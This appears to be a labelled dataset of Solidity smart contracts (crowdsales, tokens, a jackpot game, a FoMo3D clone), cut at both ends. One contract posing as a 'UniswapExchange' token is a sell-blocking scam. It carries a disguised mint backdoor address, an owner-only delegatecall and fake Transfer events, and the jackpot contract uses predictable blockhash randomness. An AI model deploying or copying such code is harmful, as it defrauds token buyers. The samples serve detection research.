uint jp_winner = (uint(block.blockhash(block.number)) + result) % jackpot_players.length;
jackpot_players[jp_winner].transfer(jackpot_bank);
jackpot_bank = 0;
for(uint j = 0; j < jackpot_players.length; j++){
delete jackpot_players[j];
}
jackpot_players.length = 0;
}
}
function createRoom(uint players, string pass, address refferal) payable external {
require(msg.value >= min_bet && msg.value <= max_bet, "Bet does not match the interval");
require(players >= min_players && players <= max_players, "Players does not match the interval");
address[] memory pls;
rooms.push(Room({
author: msg.sender,
bet: msg.value,
max_players: players,
pass: pass,
run: false,
closed: false,
players: pls
}));
emit NewRoom(rooms.length - 1, msg.sender, msg.value, players, pass);
_joinRoom(msg.value, msg.sender, rooms.length - 1, pass, refferal);
}
function _joinRoom(uint value, address to, uint room_id, string pass, address refferal) private {
require(rooms[room_id].author != address(0), "Room not found");
require(!rooms[room_id].closed, "Room already closed");
require(value == rooms[room_id].bet, "Insufficient funds");
require(strCompare(pass, rooms[room_id].pass) == 0, "Invalid password");
require(rooms[room_id].max_players > rooms[room_id].players.length, "Room is full");
rooms[room_id].players.push(msg.sender);
jackpot_players.push(msg.sender);
if(refferals[msg.sender] == address(0)) {
refferals[msg.sender] = refferal != address(0) ? refferal : msg.sender;
}
emit NewBet(room_id, to);
if(rooms[room_id].max_players == rooms[room_id].players.length) {
_play(room_id);
}
}
function joinRoom(uint room_id, string pass, address refferal) payable external {
_joinRoom(msg.value, msg.sender, room_id, pass, refferal);
}
function _play(uint room_id) private {
require(rooms[room_id].author != address(0), "Room not found");
require(!rooms[room_id].closed, "Room already closed");
require(rooms[room_id].max_players == rooms[room_id].players.length, "Room is empty");
require(oraclize_getPrice("URL") <= address(this).balance, "Insufficient funds");
bytes32 id = oraclize_query("WolframAlpha", strConcat("RandomInteger[{0, ", uint2str(rooms[room_id].players.length - 1), "}]"));
rooms[room_id].run = true;
games[id] = room_id;
emit Run(room_id, id);
}
function play(uint room_id) onlyManager external {
_play(room_id);
}
function withdraw() onlyManager external {
uint s = commision / 10;
uint b = withdraws[msg.sender] < s ? s - withdraws[msg.sender] : 0;
require(b > 0 && address(this).balance >= b, "Insufficient funds");
withdraws[msg.sender] += b;
msg.sender.transfer(b);
emit Withdraw(msg.sender, b);
}
function setJackpotMaxPlayers(uint value) onlyOwner external {
jackpot_max_players = value;
}
} | 0 | 2,173 |
pragma solidity ^0.4.15;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract LifPresale is Ownable, Pausable {
using SafeMath for uint256;
address public wallet;
uint256 public weiRaised;
uint256 public maxCap;
function LifPresale(uint256 _weiRaised, uint256 _maxCap, address _wallet) {
require(_weiRaised < _maxCap);
weiRaised = _weiRaised;
maxCap = _maxCap;
wallet = _wallet;
paused = true;
}
function () whenNotPaused payable {
require(weiRaised.add(msg.value) <= maxCap);
weiRaised = weiRaised.add(msg.value);
wallet.transfer(msg.value);
}
} | 1 | 3,545 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract TestCrowdsaleCryptoMind {
address public beneficiary;
uint public fundingGoal;
uint public MaxToken;
uint public amountRaised;
uint public deadline;
uint public StartCrowdsale;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event FundTransfer(address backer, uint amount, bool isContribution);
function TestCrowdsaleCryptoMind() {
beneficiary = 0x41A2fe9687Ae815176166616D222B48DA6a36546;
fundingGoal = 0.01 * 1 ether;
MaxToken = 300 * 1 ether;
StartCrowdsale = 1507766400;
deadline = 1508536800;
price = 1000;
tokenReward = token(0xbCBD4c956E765fEEce4F44ea6909A9301C6c4703);
}
function () payable {
require(!crowdsaleClosed);
require(now > StartCrowdsale);
require(amountRaised + msg.value > amountRaised);
require(amountRaised + msg.value < MaxToken);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount * price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 3,980 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,056 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MatrioskaToken{
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() returns (bool);
function coinAge() constant returns (uint256);
function annualInterest() constant returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract Matrioska is ERC20,MatrioskaToken,Ownable {
using SafeMath for uint256;
string public name = "Matrioska Token";
string public symbol = "MAT";
uint public decimals = 10;
uint public chainStartTime;
uint public chainStartBlockNumber;
uint public stakeStartTime;
uint public stakeMinAge = 3 days;
uint public stakeMaxAge = 90 days;
uint public maxMintProofOfStake = 10**16;
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
struct transferInStruct{
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => transferInStruct[]) transferIns;
event Burn(address indexed burner, uint256 value);
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
function Matrioska() {
maxTotalSupply = 10**19;
totalInitialSupply = 10**18;
chainStartTime = now;
chainStartBlockNumber = block.number;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
if(msg.sender == _to) return mint();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function mint() canPoSMint returns (bool) {
if(balances[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
Mint(msg.sender, reward);
return true;
}
function getBlockNumber() returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge() constant returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender,now);
}
function annualInterest() constant returns(uint interest) {
uint _now = now;
interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
interest = (435 * maxMintProofOfStake).div(100);
}
}
function getProofOfStakeReward(address _address) internal returns (uint) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
interest = (435 * maxMintProofOfStake).div(100);
}
return (_coinAge * interest).div(365 * (10**decimals));
}
function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function ownerSetStakeStartTime(uint timestamp) onlyOwner {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) onlyOwner {
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = totalInitialSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
Burn(msg.sender, _value);
}
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
uint64 _now = uint64(now);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
return true;
}
} | 1 | 4,279 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents { }
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address private otherF3D_;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x675818227377a7b1b3047105078966daf883a0ff);
string constant public name = "imfomo Long Official";
string constant public symbol = "imfomo";
uint256 private rndExtra_ = 30;
uint256 private rndGap_ = 30;
uint256 constant private rndInit_ = 10 minutes;
uint256 constant private rndInc_ = 60 seconds;
uint256 constant private rndMax_ = 10 minutes;
address constant private reward = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(31,0);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(61,0);
fees_[3] = F3Ddatasets.TeamFee(46,0);
potSplit_[0] = F3Ddatasets.PotSplit(15,0);
potSplit_[1] = F3Ddatasets.PotSplit(15,0);
potSplit_[2] = F3Ddatasets.PotSplit(30,0);
potSplit_[3] = F3Ddatasets.PotSplit(30,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
